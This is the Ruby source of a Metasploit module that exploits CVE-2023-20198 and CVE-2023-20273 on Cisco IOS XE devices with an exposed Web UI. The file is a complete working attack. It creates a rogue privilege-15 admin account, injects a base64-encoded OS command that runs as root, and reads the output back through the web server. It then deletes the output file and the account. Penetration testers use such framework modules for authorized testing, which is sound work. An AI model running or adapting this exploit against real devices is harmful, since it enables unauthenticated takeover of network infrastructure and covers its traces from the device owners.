## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::CiscoIosXe include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco IOX XE unauthenticated OS command execution', 'Description' => %q{ This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges. This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user, CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read back via the webserver. Finally the output file is deleted and the admin user is removed. The vulnerable IOS XE versions are: 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, 17.11.99SW }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF module ], 'References' => [ ['CVE', '2023-20198'], ['CVE', '2023-20273'], # Vendor advisories. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], # Vendor list of (205) vulnerable versions. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], # Technical details on CVE-2023-20198. ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'], ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'], # Technical details on CVE-2023-20273. ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'] ], 'DisclosureDate' => '2023-10-16', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('CMD', [ true, 'The OS command to execute.', 'id']), OptString.new('CISCO_ADMIN_USERNAME', [false, 'The username of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin account.']), OptString.new('CISCO_ADMIN_PASSWORD', [false, 'The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.']), OptInt.new('REMOVE_OUTPUT_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to removing the commands output file.', 30]) ] ) end def run # If the user has supplied a username/password, we can use these creds to leverage CVE-2023-20273 and execute an OS # command. If a username/password have not been supplied, we can leverage CVE-2023-20198 to create a new admin # account, and then leverage CVE-2023-20273 to execute an OS command. This opens up the ability to leverage the # auxiliary module for CVE-2023-20198 to create a new admin account once, then use those new admin creds in this # module to execute multiple OS command without the need to create a new 'temporary' admin account for every # invocation of this module (which will reduce the noise in the devices logs). if !datastore['CISCO_ADMIN_USERNAME'].blank? && !datastore['CISCO_ADMIN_PASSWORD'].blank? exececute_os_command(datastore['CISCO_ADMIN_USERNAME'], datastore['CISCO_ADMIN_PASSWORD']) else admin_username = Rex::Text.rand_text_alpha(8) admin_password = Rex::Text.rand_text_alpha(8) unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION) print_error('Failed to create admin user') return end begin vprint_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") exececute_os_command(admin_username, admin_password) ensure vprint_status("Removing user '#{admin_username}'") unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) print_warning('Failed to remove user') end end end end def exececute_os_command(admin_username, admin_password) out_file = Rex::Text.rand_text_alpha(8) cmd = "$(openssl enc -base64 -d <<< #{Base64.strict_encode64(datastore['CMD'])}) &> /var/www/#{out_file}" unless run_os_command(cmd, admin_username, admin_password) print_error('Failed to run command') return end begin res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('webui', out_file), 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password) } ) unless res&.code == 200 print_error('Failed to get command output') return end print_line(res.body) ensure vprint_status("Removing output file '/var/www/#{out_file}'") # Deleting the output file can take more than one attempt. success = retry_until_truthy(timeout: datastore['REMOVE_OUTPUT_TIMEOUT']) do if run_os_command("rm /var/www/#{out_file}", admin_username, admin_password) next true end vprint_status('Failed to delete output file, waiting and trying again...') false end unless success print_error("Failed to delete output file '/var/www/#{out_file}") print_error(out_file) end end end end